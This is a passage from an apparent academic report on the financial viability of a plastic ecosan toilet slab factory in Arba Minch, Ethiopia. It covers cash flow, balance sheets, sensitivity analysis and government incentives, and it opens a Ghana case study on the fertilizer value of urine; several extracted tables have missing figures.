122 98 Table 3.31: Cash flow statement for Scenario 1 CASH FLOW STATEMENT Normal case Year 1 Year 2 Year 3 Year 4 Year 5 Profit/loss after tax 340,165 1,445,360 4,489,240 7,376,845 7,546,875 plus/minus Non-cash expenses Depreciation 524, , , , ,600 Operating cash flow 864,165 1,994,810 5,070,840 8,035,445 8,205,475 plus/minus Changes in working capital 425, , , ,321 0 minus Loan payback 0 500, ,000 3,000,000 6,500,000 minus Capital expenditures 9,587, , , ,600 55,100 Cash flow -9,148, ,923 3,064,290 3,575,524 1,650,375 Source of funds plus debt 10,500, Total source of funds 10,500, Financing balance 1,351, ,923 3,064,290 3,575,524 1,650,375 plus Balance of last year 0 1,351,215 2,325,138 5,389,428 8,964,952 Financing balance 1,351,215 2,325,138 5,389,428 8,964,952 10,615,327 Table 3.32: Cash flow statement for Scenario 2 CASH FLOW STATEMENT Normal case Year 1 Year 2 Year 3 Year 4 Year 5 Profit/loss after tax 2,515,485 2,642,185 5,799,675 5,992,385 9,122,260 plus/minus Non-cash expenses Depreciation 743, , , , ,150 Operating cash flow 3,258,785 3,413,335 6,570,825 6,763,535 9,893,410 plus/minus Changes in working capital 1,115,629-41, , ,729 minus Loan payback 0 2,500,000 3,000,000 5,500,000 3,500,000 minus Capital expenditures 13,057, ,700 6, ,700 9,600 Cash flow -10,914, ,256 2,843,408 1,131,835 5,739,081 Source of funds plus debt 14,500, Total source of funds 14,500, Financing balance 3,585, ,256 2,843,408 1,131,835 5,739,081 plus Balance of last year 0 3,585,856 4,280,112 7,123,520 8,255,355 Financing balance 3,585,856 4,280,112 7,123,520 8,255,355 13,994, Projected Balance Sheet Projected year-end balance sheets for Scenario 1 and Scenario 2 for the normal case are presented in Table 3.33 and Table 3.34, respectively. Buildings represent the investment in the office, plant and warehouse building. Plant and office equipment refers to the accumulated investment in manufacturing machinery (including molds), office equipment (e.g., computer, printer, telephone, fax, office furniture, etc.) and a car. Plant equipment for both scenarios is summarized in Table Office equipment costs 39,000 ETB, and a car costs 770,000 ETB, as indicated in Section Accumulated depreciation refers to the depreciation of the current and previous years. Cash and cash in bank represents the financing balance taken from the cash flow statement for the respective year.
123 99 Inventory was assumed to be one twelfth of the raw material supplies. In order to keep it simple, finished products that were listed as inventory were valued according to the amount of raw materials used for their production. It was assumed that the majority of finished products would be sold to distributors, which would allow selling in bulk, thus, moving the inventory to the distributors. Accounts receivable was assumed to be due after one month, which corresponds to one twelfth of the total revenues. Profit/loss carry forward refers to the accumulated profit/loss after tax taken from the P&L statements from the previous years. The annual result was taken from the P&L statement for the respective year. Loan refers to the amount of the loan that would still be left to repay. It was assumed that the loan would be paid back in installments, which were estimated based on the company s annual financial result. Accounts payable refers to the supplier s credit granted for the supply of raw materials, which was assumed to be due after two months. Table 3.33: Year-end balance sheet for Scenario 1 YEAR-END BALANCE SHEET Normal case Year 1 Year 2 Year 3 Year 4 Year 5 ASSETS Fixed assets Buildings 4,870,000 4,870,000 4,870,000 4,870,000 4,870,000 Plant and office equipment 4,717,000 4,973,900 5,797,800 6,571,400 6,626,500 Accumulated depreciation 524,000 1,073,450 1,655,050 2,313,650 2,972,250 Total fixed assets 9,063,000 8,770,450 9,012,750 9,127,750 8,524,250 Current assets Cash and cash in bank 1,351,215 2,325,138 5,389,428 8,964,952 10,615,327 Inventory raw materials and supplies 91, , , , ,683 finished products 236, , ,550 1,058,350 1,058,350 Accounts receivable 280, , ,158 1,410,242 1,410,242 Total current assets 1,960,765 3,288,200 7,308,257 11,843,227 13,493,602 Total assets 11,023,765 12,058,650 16,321,007 20,970,977 22,017,852 LIABILITIES Equity Profit/loss carry forward 0 340,165 1,785,525 6,274,765 13,651,610 Annual result 340,165 1,445,360 4,489,240 7,376,845 7,546,875 Income of the period Loan 10,500,000 10,000,000 9,500,000 6,500,000 0 Total equity and returned earning 10,840,165 11,785,525 15,774,765 20,151,610 21,198,485 Short term debt Other liabilities Accounts payable 183, , , , ,367 Total short term debt 183, , , , ,367 Total liabilities 11,023,765 12,058,650 16,321,007 20,970,977 22,017,852
124 100 Table 3.34: Year-end balance sheet for Scenario 2 YEAR-END BALANCE SHEET Normal case Year 1 Year 2 Year 3 Year 4 Year 5 ASSETS Fixed assets 6,070,000 6,070,000 6,070,000 6,070,000 6,070,000 Buildings 6,987,300 7,248,000 7,254,200 7,385,900 7,395,500 Plant and office equipment 743,300 1,514,450 2,285,600 3,056,750 3,827,900 Accumulated depreciation 12,314,000 11,803,550 11,038,600 10,399,150 9,637,600 Total fixed assets Current assets 3,585,856 4,280,112 7,123,520 8,255,355 13,994,436 Cash and cash in bank Inventory 241, , , , ,242 raw materials and supplies 614, , , ,100 1,223,350 finished products 742, ,558 1,237,600 1,237,600 1,707,846 Accounts receivable 5,185,043 5,783,720 9,635,695 10,767,530 17,416,873 Total current assets 17,499,043 17,587,270 20,674,295 21,166,680 27,054,473 Total assets LIABILITIES Equity 0 2,515,485 5,157,670 10,957,345 16,949,730 Profit/loss carry forward 2,515,485 2,642,185 5,799,675 5,992,385 9,122,260 Annual result Income of the period 14,500,000 12,000,000 9,000,000 3,500,000 0 Loan 17,015,485 17,157,670 19,957,345 20,449,730 26,071,990 Total equity and returned earning Short term debt Other liabilities 483, , , , ,483 Accounts payable 483, , , , ,483 Total short term debt 17,499,043 17,587,270 20,674,295 21,166,680 27,054,473 Total liabilities The financial statements for Scenario 1 and Scenario 2 presented above show that less profit is expected in Scenario 1 than in Scenario 2. This is directly connected with lower revenues. In Scenario 2, the higher revenues and financial liquidity allow for the loan to be repaid in higher installments. On the other hand, the higher revenues in Scenario 2 are mirrored in the higher expenses on raw materials and supplies, costs of received services (e.g., electricity), personnel expenses and other operating expenses. The higher production capacity of Scenario 2 requires higher capital investment, which influences the loan that needs to be taken out. The decision on which scenario should be chosen is not straightforward and further analysis of the financial statements will be performed by analyzing the key financial indicators Key financial indicators As discussed in Section 3.2.5, commonly used financial indicators for the evaluation of financial statements include return on investment (ROI), gross profit margin (GPM) and net profit margin (NPM). Table 3.35 presents ROI for Scenario 1 and Scenario 2 for each year of operation. Scenario 2 has a significantly better result in the first year due to the higher number
125 101 of products manufactured and sold (refer to Table 3.11), which has a direct effect on the company s profit. In the first year, the projected sales of Scenario 2 are 2.6 times the projected sales of Scenario 1 (refer to Table 3.29 and Table 3.30). In the second and third year, Scenario 2 has a slightly higher ROI as a result of the higher production and, consequently, higher sales in Scenario 2. In the fourth year of operation, more products are manufactured and sold in Scenario 1, which is the reason for this scenario s better score in terms of ROI. In the fifth year of operation, the volume of production is again higher in Scenario 2 and the difference in ROI between both scenarios is again minimal. Table 3.35: Return on investment for Scenario 1 and Scenario 2 ROI (%) Year Scenario 1 Scenario Table 3.36 shows Gross Profit Margin (GPM) ratios for both scenarios. Scenario 2 has slightly better results in the first two years due to the higher revenues (refer to Table 3.29 and Table 3.30). In the following years, the GPM of Scenario 1 becomes higher due to the lower gross profit ratio of Scenario 2 to Scenario 1 than the revenues ratio of Scenario 2 to Scenario 1 (refer to Table 3.29 and Table 3.30). Table 3.36: Gross profit margin for Scenario 1 and Scenario 2 GPM (%) Year Scenario 1 Scenario Net Profit Margin (NPM) for Scenario 1 and Scenario 2 is summarized in Table In the first year, the NPM for Scenario 2 is almost three times the NPM for Scenario 1. This is due to the revenues and profit after tax that are much higher than in Scenario 1 (refer to Table 3.29 and Table 3.30). In the second year, Scenario 2 has a bit higher NPM than Scenario 1, due to the revenues and profit after tax being slightly higher in Scenario 2. In following years, the NPM generally remains higher in Scenario 1 due to the lower profit after tax ratio of Scenario 2 to Scenario 1 than the revenues ratio of Scenario 2 to Scenario 1. For both scenarios, a margin of more than 40 % (in the fourth and fifth year) is a very good result. The discussed NPM results prove that if more products are manufactured and sold, economies of scale can be reached and make the business more profitable.
126 102 Table 3.37: Net profit margin for Scenario 1 and Scenario 2 NPM (%) Year Scenario 1 Scenario The only considerable difference between both scenarios in the analyzed financial indicators can be seen for ROI and NPM for the first year (Scenario 2 scored significantly better) and for ROI for the fourth year (Scenario 1 scored significantly better). Scenario 2 had a better ROI in the first year due to the much higher profit after tax in Scenario 2 (the profit after tax in Scenario 2 was approximately 7.4 times the profit after tax in Scenario 1) (refer to Table 3.29 and Table 3.30). Scenario 2 had a better NPM in the first year due to the higher revenues in Scenario 2 (the revenues in Scenario 2 were approximately 2.6 times the revenues in Scenario 1) (refer to Table 3.29 and Table 3.30) and due to the already mentioned higher profit after tax achieved in Scenario 2 as compared to Scenario 1. Scenario 1 scored better in terms of ROI in the fourth year due to the higher profit after tax in Scenario 1 (refer to Table 3.29 and Table 3.30) and much higher assets in Scenario 2 (refer to Table 3.33 and Table 3.34). Despite the good financial results of Scenario 2, it has to be accounted for the fact that Scenario 2 requires a considerably higher start-up investment and loan than Scenario 1 (refer to Section ), which might be difficult to realize in Ethiopia Critical factors determining profitability Critical factors that determine the project s profitability were examined through a sensitivity analysis Influence of sales volume The most important factor influencing the profitability of the project is related to the demand, which is reflected in the volume of products sold and revenues. The differences in the NPV, real and nominal IRR as well as PBP between best (100 % of the manufactured products sold), normal (80 % of the manufactured products sold) and worst (60 % of the manufactured products sold) scenarios were presented in Section Nevertheless, a sensitivity analysis of decreasing revenues was performed, taking the normal case scenario (refer to the financial statements in Sections , and ) as a starting point. The difference in Net Profit Margin for Scenario 1 and Scenario 2 with decreasing revenues is presented in Figure 3.23 and Figure 3.24, respectively.
127 Net Profit Margin Net Profit Margin 103 [%] % decrease in revenues Year 1 Year 2 Year 3 Year 4 Year 5 Figure 3.23: Net Profit Margin vs. decreasing revenues for Scenario 1 [%] % decrease in revenues Year 1 Year 2 Year 3 Year 4 Year 5 Figure 3.24: Net Profit Margin vs. decreasing revenues for Scenario 2 Switching value 45 represents a decrease in revenues by approximately 42 % for both Scenario 1 and Scenario 2. Even though the switching value is the same for both scenarios, the effect of the potentially decreasing revenues on the NPM is much stronger in Scenario 1 than in Scenario 2 (refer to Figure 3.23 and Figure 3.24). It becomes clear than a significant drop in revenues will create serious financial effects and hinder profitability. This emphasizes the fact that an adequate demand needs to be in place for the business to be financially successful. Therefore, marketing and sanitation promotion activities need to be performed. 45 Switching value refers to the change in a cash flow item that is required for the NPV to turn to zero.
128 Net Profit Margin 104 It was assumed that the company would manufacture four products, of which a Fossa Alterna slab (Product 4) would have the highest contribution margin, followed by a urine diverting sitting slab (Product 1) (refer to Table 3.27 and Table 3.28). Due to the fact that these two products are decisive for the profit, the company should focus on creating demand for them. The marketing of Fossa Alternas should be directed at rural households, where more space is available and it is generally preferable to build a toilet outside. On the other hand, urine diverting sitting slabs are more appropriate for higher-income households or institutions, where toilets are built inside and more emphasis is put on comfort and status. If the company faces problems with the demand resulting in lower sales, the production mix should be reconsidered, e.g., more Fossa Alterna (Product 4) and UD sitting slabs (Product 1) could be produced in order to generate enough profits. Refer to Chapter 5 for more information on the promotion of ecosan in Ethiopia Influence of the price of raw materials Another decisive parameter for the project s profitability is the price of raw materials (LLDPE and dry pigment) as it constitutes the highest variable cost (see Figure 3.17 and Figure 3.18). A sensitivity analysis of potentially increasing prices of raw materials showed, as expected, that the profitability of the company would be endangered in the event that the prices of raw materials increase significantly. The Net Profit Margin changing with the increasing raw material prices for Scenario 1 and Scenario 2 is presented in Figure 3.25 and Figure [%] % increase of the initial price of raw material Year 1 Year 2 Year 3 Year 4 Year 5 Figure 3.25: Net Profit Margin vs. increasing prices of raw material for Scenario 1
129 Net Profit Margin 105 [%] % increase of the initial price of raw material Year 1 Year 2 Year 3 Year 4 Year 5 Figure 3.26: Net Profit Margin vs. increasing prices of raw material for Scenario 2 If prices of raw materials increased by approximately 140 % of the initial price, the NPV in Scenario 1 and Scenario 2 would drop to zero, which represents the switching value. Therefore, a long term contract should be sought with suppliers of raw materials so that a contract price could be negotiated and the company s profitability would not suffer from fluctuating raw material prices. If no long term contract is possible, new suppliers should be sought in order to ensure the lowest available price Influence of personnel expenses Another important parameter that was included in the sensitivity analysis refers to production related (direct) personnel expenses listed under variable costs (refer to Figure 3.17 and Figure 3.18). For both scenarios, the project is not sensitive to potentially increasing personnel costs. In the event that direct personnel expenses grew even by 100 % the change in the NPV (-2.3 % for Scenario 1 and -2.1 % for Scenario 2) is not considerable. The same applies to the difference in the nominal IRR (-1.7 % for Scenario 1 and -1.6 for Scenario 2) and PBP, which is negligible (less than 1 month) for both scenarios Influence of advertising costs Advertising costs are one of the most important parameters among fixed costs (refer to Figure 3.15 and Figure 3.16). Therefore, a sensitivity analysis of potentially increasing advertising costs was performed. The results for both scenarios show that the project is not sensitive to this particular parameter. The influence of the increase in advertising costs even by 100 % does not have any significant influence on the NPV (-1.6 % for Scenario 1 and -0.4 % for Scenario 2) nor the PBP (less than 1 month for both scenarios).
130 Influence of transportation costs Transportation costs of finished products belong to variable costs (refer to Figure 3.17 and Figure 3.18). The results of the sensitivity analysis of potentially increasing transportation costs show that the project is not sensitive to this variable. If the transportation costs increased by 100 %, the change in the NPV (-0.8 % for Scenario 1 and -1.2 % for Scenario 2), the nominal IRR (-0.4 % for Scenario 1 and -0.6 % for Scenario 2) and the PBP (not even 1 month for both scenarios) would be negligible Influence of start-up costs Another parameter that was put under examination considered start-up costs, which include primary payment for land lease, building costs, cost of the manufacturing machinery and equipment as well as of the office equipment. The switching value for the start-up costs in Scenario 1 is an increase by approximately 220 % in the start-up costs, and in Scenario 2, by approximately 200 %. The result is similar for both scenarios. It indicates that there is a certain room for error in the assumptions that were made Summary of the sensitivity analysis A summary of results of the sensitivity analysis for Scenario 1 and Scenario 2 is shown in Table 3.38 and Table 3.39, respectively. Table 3.38: Summary of the results of the sensitivity analysis for Scenario 1 Parameter Revenues Cost of raw materials Personnel expenses Advertising costs Transportation costs Start-up costs Assume 10 % decrease 10 % increase 100 % increase 100 % increase 100 % increase 10 % increase Effect on NPV 24.2 % decrease 7.1 % decrease 2.3 % decrease 1.6 % decrease 0.8 % decrease 4.6 % decrease Effect on nominal IRR 15.9 % decrease 4.6 % decrease 1.7 % decrease 1.3 % decrease 0.4 % decrease 8.3 % decrease Switching value approx. 42 % decrease approx. 140 % increase Negligible Negligible Negligible approx. 220 % increase
131 107 Table 3.39: Summary of the results of the sensitivity analysis for Scenario 2 Parameter Revenues Cost of raw materials Personnel expenses Advertising costs Transportation costs Start-up costs Assume 10 % decrease 10 % increase 100 % increase 100 % increase 100 % increase 10 % increase Effect on NPV 24.0 % decrease 7.1 % decrease 2.1 % decrease 0.4 % decrease 1.2 % decrease 4.9 % decrease Effect on nominal IRR 17.0 % decrease 5.0 % decrease 1.6 % decrease 0.5 % decrease 0.6 % decrease 9.3 % decrease Switching value approx. 42 % decrease approx. 140 % increase Negligible Negligible Negligible approx. 200 % increase The sensitivity analysis proved that both scenarios are sensitive to the generated revenues. Therefore, it is necessary to perform an adequate sanitation campaign in order to create the necessary demand and raise people s awareness on the advantages of using ecosan. A proposal for a promotional campaign in Arba Minch will be presented in detail in Chapter 5 (refer to Section 5.6). Due to the fact that the cost raw materials constitutes the highest variable cost, the project is also sensitive to this particular parameter. Nevertheless, the switching value of approximately 140 % for both scenarios shows that low price fluctuations that are kept within reasonable limits will not greatly affect the profitability of the project. The project is not sensitive to changes in advertising costs, personnel expenses nor transportation costs of finished products. It is due to the fact that these costs are low in a country like Ethiopia. Start-up costs would have to increase by approximately 220 % in Scenario 1, and by approximately 200 % in Scenario 2 for the project to become endangered. This is unlikely to happen as the costs were inquired from existing suppliers and the Ethiopian Investment Agency Possibilities of cost decrease This section explores the possibilities of cost decrease, focusing on the machinery (rotomolding machine) as the highest cost constituent among start-up costs and on raw materials (LLDPE) as the highest constituent of variable costs. Machinery Due to the fact that the investment for a rotational molding machine constitutes the highest start-up cost, purchasing used machinery for the planned manufacturing line was considered. Ferry Industries Inc. was consulted for used equipment price quotes (pers. correspondence, A. Rowland, International Sales Manager at Ferry Industries Inc., Stow, Ohio, ). The problem with used machines is that they are sold as is, where is, i.e. the buyer is responsible for dismantling, removing, packing and shipping them from their current locations to Ethiopia. These machines do not have any warranty. The following machines were available for sale: FERRY RS-200 fixed arm turret model with three
132 108 straight arms built in 1997 (140,000 USD or 1.9 million ETB 46 excluding dismantling and shipping costs) and FSP M-80 ATI turret machine with three straight arms built in 1991, which is not made anymore, so spare parts availability could create a problem. This is also the reason for its low price (78,000 USD or 1.1 million ETB 47 excluding dismantling and shipping costs). Compared to the prices for new machinery (refer to Table 3.7), these machines are cheaper, but the cost of dismantling and shipping is not considered, which might make the price non-competitive. Nevertheless, the possibility of buying used equipment in order to cut down start-up costs can be considered. Raw material Another option to decrease costs would be using recycled raw material obtained from own manufacturing scrap material or purchased from suppliers. For details on using post-consumer resins, refer to Section A company in China (Laizhou Wenfeng Electric Equipment Co. Ltd) was consulted for recycled LLDPE and HDPE price quotes. The average price of both recycled LLDPE granules and HDPE granules is approximately 17.3 ETB/kg 48, with a minimum order of 16 tons. The price includes additional 40 % of the raw material costs added to compensate for shipping costs (including marine freight costs, insurance and unloading) from China to Addis Ababa. The exemplary price of recycled LLDPE in granules (17.3 ETB/kg) is approximately 82 % of the price of virgin material in granules (21.2 ETB/kg as presented in Section ), so one could save on raw material costs by using blends of virgin and recycled material. More potential suppliers would have to be consulted in order to negotiate the price and to find the best suitable recycled raw material that could be used to manufacture toilet slabs. The price given above serves to give a general idea of how much one could save by using blends of post-consumer resins over virgin raw material. 3.7 Government support and regulations This section describes the possibilities of the Ethiopian government support for the project as well as regulations that need to be taken into account. First, the government s economic development and investment program is introduced. Then, potential government incentives are discussed. In addition, expected contribution of the project to the economic development of the country is presented Project in context of government economic development and investment program Since the draught in 2002/2003 that resulted in a decline in the GDP by 3.3 %, the economic development in Ethiopia has been taking place in all sectors (Germany Trade and Invest, 2009b). In 2009/2010, Ethiopia experienced an increase in real GDP by 8.0 % and it was estimated that in 2010/2011 the real GDP would increase by 7.5 % (Germany Trade and Invest, 2011). 46 Price was converted from USD to ETB using exchange rate from OANDA (2012). 47 Price was converted from USD to ETB using exchange rate from OANDA (2012). 48 Price was converted from CNY to ETB using exchange rate from OANDA (2012).
133 Net Profit Margin Specific government incentives and support available to the project The Ethiopian Investment Agency in Addis Ababa and the Gamo Gofa Trade, Industry and Tourism Main Department in Arba Minch were consulted for the information on incentives that may be available for the project. In the first year of operation, plastic raw materials can be imported duty free. The manufacturing machinery and spare parts constituting up to 15 % of the total value of the imported equipment can also be imported duty free. These two incentives were considered in the business plan presented in Section 3.6. There is also a possibility of income tax exemption for 2-7 years for investments in the area of manufacturing, agro-processing and agriculture (pers. communication, A. Woldemariam, Director of Investment Promotion and Public Relation, Ethiopian Investment Agency, Addis Ababa, ). In order to be granted this incentive, the project needs to offer a special value for the society. The presented project offers such a value due to the possibility of applying urine as fertilizer in agriculture (collected from urine diverting dry toilets) or of agricultural production due to the planting of tree seedlings in place of former Arborloo toilets. It is also possible to use land freely (without leasing it) for 2-3 years in Arba Minch, if it is proven that the investment provides a certain advantage to the society as a whole. The incentive of corporate tax exemption and free use of land was not considered in the business plan due to the fact that it could not be granted that they would be available for the considered business. However, if received, they would result in lower fixed costs (land lease) and an increase in profit by 30 % (corporate tax exemption). The difference between the net profit margin (NPM) of the project with no incentive and the project with the discussed incentives is presented in Figure The presented NPM includes a 5 % error indicator. [%] No incentive Free use of land 3 years Income tax exemption 2 years Income tax exemption 3 years Income tax exemption 4 years Income tax exemption 5 years Figure 3.27: Year Influence of government incentives on the Net Profit Margin of the project for Scenario 1
134 110 The incentive of the free use of land for the period of 3 years would not have almost any impact on the NPM of the project due to the low cost of the land lease in Arba Minch (refer to Table 3.23). On the other hand, the incentive of tax exemption would have a significant impact (refer to Figure 3.27) Expected contribution of the project to the economic development The project would contribute to the economic development through creating employment possibilities. Skilled and unskilled staff would be taken on and employees would be provided industrial training, which would increase their value on the work market. Economic development of a country is not possible without solving the problem of the provision of sanitation services. Even though health is not a common driving force for sanitation adoption, it is often the most important driver for public authorities. A company manufacturing durable toilet slabs that can be applied under the ecosan approach can contribute to eliminating the sanitation challenge. Both hygienic aspects that these toilets bring along and the potential of agricultural reuse of sanitized excreta contribute to the economic development of the communities involved. It can be expected that households in Arba Minch will be willing to improve their sanitary facilities, mainly due to the privacy, comfort and status that they offer. The population in Arba Minch is growing, the migration from rural to urban areas as well as infrastructural development is taking place (refer to Section 3.4.4). Thus, sanitation facilities need to serve the growing population and adapt to the on-going developments accordingly. It is also possible to involve SMEs in Arba Minch to operate urine and feces collection from public, shared or individual UDDTs, storage of urine as well as composting of feces and further sale as liquid fertilizer and soil conditioner for application in agriculture. In this manner, SMEs could become business partners or operate independently and a new business opportunity would be created. 3.8 Further discussion The business idea presented in this chapter encompasses a production line for plastic toilet slabs to be used under the ecosan approach. The analysis of different manufacturing methods suitable for plastic products led to a conclusion that for the local conditions and planned volume of production it would be best to chose the rotational molding process. This process has a much less expensive equipment and tooling than other manufacturing processes, e.g., injection molding. Due to simpler mold designs, production lead times are also shorter than for injection molding. Also, thanks to the relative simplicity of the tooling, small alterations can be made to an existing mold to respond to changing production needs, which makes it more flexible than injection molding. Furthermore, rotomolding is suitable for both low-volume prototypes and high-volume production runs. Even though rotomolding has many advantages vis-à-vis other processes, it also has a few disadvantages. Despite the high investment needed for injection molding, part costs may be lower than with rotomolding process due to the longer cycle times. Therefore, if higher production runs are required, injection molding could be taken into consideration in place of rotomolding. It is important to analyze the local situation, including the demand for products, production lead times, potential need for
135 111 alternations in part design, part design requirements (e.g., uniform wall thickness is a clear advantage of rotational molding, which also affects the durability of a product), etc. Only then a choice between different manufacturing techniques available can be made. Observing global and local market trends is of crucial importance to the business. Moving from cement to plastic products, also in sanitary hardware, is becoming a trend in many countries, especially in urban areas. As a result, the private sector is drawn to enter the area of sanitation business, mainly due to the transportation of plastic products being easier and cheaper in comparison to cement products. Nevertheless, sanitary products made of other materials than plastic, e.g., porcelain toilet bowls, might be requested by customers. In this case, the production line would be different than for plastic toilet pans. Porcelain toilets require longer production times than rotomolding (e.g., greenware castings dry in open air for several days). Even though material costs would be lower than with rotomolding, other costs would be much higher, including the transportation costs of finished parts (porcelain products are heavier than plastic products) and fuel costs for the firing process performed in kilns. The proposed project was presented for two scenarios: Scenario 1 with a lower capacity of production and a lower investment and Scenario 2 with a higher capacity of production and a respectively higher investment. The loan for Scenario 2 is higher by almost 40 % in comparison to Scenario 1. According to the financial analysis performed, Scenario 2 is expected to bring more profits as expressed in terms of the NPV, IRR and PBP (refer to Section ). Nevertheless, enough demand would have to be in place in order to sell the manufactured parts. This was particularly proven by the sensitivity analysis performed for both scenarios. The normal case scenario, for which the financial analysis was performed, assumed that 80 % of the manufactured products would be sold. This assumption was made as it could not be taken for granted that enough demand would be in place, in particular at the beginning of the company s operation, to meet the production capacity. A drop in sales (from the normal case scenario) by approximately 42 % (for Scenario 1 and Scenario 2) would make both scenarios unprofitable. In the cases studied, it would be necessary to sell over 53,900 of products in Scenario 1 and over 64,200 products in Scenario 2 (refer to Section for the details on the break-even analysis) to break even. In general, Scenario 1 is slightly less sensitive to potential changes in start-up costs and both scenarios would be negatively influenced in the event of potentially increasing raw material prices (refer to Table 3.38 and Table 3.39). Alone in the first year of operation, Scenario 2 projects approximately 2.6 times sales volume of Scenario 1. In Arba Minch alone, almost 11,350 households might be willing to adopt the type of toilet slabs offered by the company (refer to Section 3.5.6). These are households without access to sanitation facilities, experiencing problems or being unsatisfied with current sanitation options. Scenario 2 would meet this demand already by the end of the first year of operation (within 8 months), whereas Scenario 1 would need approximately 1.3 years. Therefore, the company needs to expand its area of reach already at the beginning of its operation. Marketing and promotion of products needs to be performed also in other areas in the SNNP Region, in particular in the Gamo Gofa Zone. For example, in rural areas, the adoption of Arborloos and Fossa Alternas should prove successful, looking at the experience of the Catholic Relief Services (refer to Section ) and the fact that there is enough space available in rural areas for this type of toilets. Also, the activities of the completed ROSA project and the CLARA as well as SPA projects,
136 112 which are still running in Arba Minch, help to raise awareness on the ecosan approach. Therefore, the SNNP Region, with emphasis on the Gamo Gofa Zone, should be a good potential market for this type of toilets. Despite the better financial projections for Scenario 2, Scenario 1 seems a more rational alternative for the presented business idea due to the much lower investment required and smaller capacity of production. In this way, during the first two years of the company s presence on the market, it would be possible to promote the company s products effectively. The company would aim to become famous in the region as a manufacturer and promoter of toilets used in the ecosan approach with an adequate production capacity to meet the demand for products in Arba Minch and other urban and rural areas in the Gamo Gofa Zone. Furthermore, the planned purchase of an extra arm for the machine in Scenario 1 (in order to increase the capacity of production) can be postponed if not enough demand is in place. Another idea would be to place the production plant in another city, e.g., in Djibouti that has a direct access to the sea, where export of toilet slabs would be possible. Such a plant would have to reach a much higher volume of production than proposed in this project as it would aim at a larger market, primarily in East Africa, but also in other countries. This plant could specialize in toilet slabs to be applied under the ecosan approach but also manufacture a different set of products, e.g., septic tanks or rainwater tanks. The advantage of the rotational molding process is that molds are not as expensive as in injection molding. The production line can be changed in a short period of time as the molds are not complicated in fabrication, thus, not much time is needed to adjust or extend the production to other products. A big manufacturing plant that would satisfy the demand for products not only in Africa but products could also be exported to other continents, would not have to fear the intrusion of competitors and a sudden fall in prices as a result of a price war. Such a company would be able to gain a certain status and its production volumes might even allow it to become a leader on the African market. The presented business idea, apart from the obvious advantage of job creation in the region and the contribution to the economic development of the region, also has a number of further advantages. The promotion of the ecosan approach that involves recycling of nutrients could make Ethiopian farmers, even if only partially, independent of mineral fertilizers. Local farmers very often cannot afford mineral fertilizers, so returning nutrients from human excreta into agriculture would help their farmlands become more fertile. Furthermore, a large scale adoption of the ecosan approach requires a system for the collection, transportation, storage and sanitization as well as marketing of ecosan products. Local small and medium enterprises could become involved in these services, which offers further business opportunities.
137 113 4 CASE STUDY GHANA Common challenges regarding the implementation of the ecological sanitation (ecosan) are the acceptance of using excreta based fertilizers in agriculture and the cost and management of collection, transportation, storage and marketing of ecosan products (Drewko et al., 2010). This chapter proposes the idea of a supply chain, based on fertilizing non-food (oil palms and fast growing trees) and food crops (maize) with urine for biodiesel, fuel wood and maize production. It also proposes running trucks on biodiesel for urine transportation and exploiting trucks in a multitasked transportation service. As a result of the proposed supply chain, lowering or even covering urine transportation costs, as well as, reducing storage time and costs of urine can be achieved. 4.1 Technical outline for closed-loop nutrient management in Ghana This chapter provides background information and a technical outline for the case study Ghana. First, a method for calculating the value of nutrients contained in urine in Ghana is introduced. Next, sanitation facilities, urine storage and transportation options are discussed. Furthermore, the process of biodiesel processing is explained, with special focus on the biodiesel production potential in Ghana and palm oil used as a feedstock for biodiesel production Value-to-volume ratio of urine If income is to be generated through marketing of sanitized, liquid fertilizer, i.e. human urine, a price for this fertilizer has to be determined. For estimation of nutrients contained in human urine, the Replacement Cost Approach (RCA) method described in Drechsel et al. (2004) was used. This method is the most common one used in developing countries for the economic assessment of soil nutrients. It is used to assign monetary values to depleted soil nutrients. One of the advantages of the RCA methodology is that market prices are usually available for the most common nutrients. Data on market prices for fertilizer raw materials such as urea, diammonium phosphate (DAP) and muriate of potash (MOP) is given for June-September The calculation takes advantage of the more or less fixed price ratio between main nutrients (nitrogen (N), phosphorous (P) and potassium (K)) (Drechsel et al., 2004). Based on world market prices for products and the average nutrient content in raw material, the macro-unit prices and standardized nutrient ratios were determined (refer to Table 4.1). Based on these price ratios, the nutrient cost in nitrogen equivalents was determined (refer to Table 4.2). Multiplying the price ratio of the raw materials for phosphorous and potassium per nitrogen unit (refer to Table 4.1), the nutrient costs were calculated for P 2 O 5 and K 2 O (refer to Table 4.3).
138 114 Table 4.1: World market prices of fertilizer raw materials Fertilizer raw material Costs Urea DAP MOP Raw material (US$/kg) a Nutrient in raw material N P 2 O 5 K 2 O Nutrient (%) in raw material 46 % 46 % 60 % Price of nutrient (US$/kg) Price ratio/n unit b a) Source: (international monthly average prices, June-September 2010). b) Any other nutrient than N could also be used. The price ratio between the main macro-nutrients (N, P and K) is used. Table 4.2: Fertilizer product (N:P:K) Cost per unit of nutrient in N price equivalent in Ghana N (g N/ g fertilizer) P a (g P/ g fertilizer) K b (g K/ g fertilizer) All three nutrients Price in Ghana (US$/kg) c Cost/ N eq. d (US$/kg) NPK 15:15: Urea 46:0: NPK 23:10:5+4MgO+2Zn Ammonium sulfate 21:0: Mean value a) P is available as P 2 O 5 in NPK fertilizer, which contains 44 % of elemental P. b) K is available as K 2 O in NPK fertilizer, which contains 83 % of elemental K. c) Source: (monthly average local prices in Ghana, June-September 2010). d) N eq. stands for nitrogen equivalent. Table 4.3: Average nutrient costs on the Ghanaian market Nutrient Nitrogen Phosphorous Potassium Price (US$/kg) Price (GH /kg) a a) Prices were converted from US$ to GH using the average exchange rate from June-September 2010 from OANDA (2012). Table 4.4: Nutrient content in urine and feces in Ghana (Cofie and Mainoo, 2007; Germer and Sauerborn, 2008) Excreta type Nitrogen Phosphorous Potassium Urine (g/l) Feces (g/kg) Combining the information from Table 4.2, Table 4.3 and Table 4.4, the value of the fertilizer content in urine and feces in Ghana was calculated (see Table 4.5). Table 4.5: Market value of nutrients contained in urine and feces in Ghana Excreta type Nitrogen Phosphorous Potassium Total Urine (GH //l) Feces (GH //kg) The market value of nutrients in human urine in Ghana adds up to approximately GH /l (0.008 /l). It appears to be a reasonable result, especially after comparing it to a study made in Uganda, where the price for urine of 0.01 /l was calculated, following the same method (Schröder, 2010).
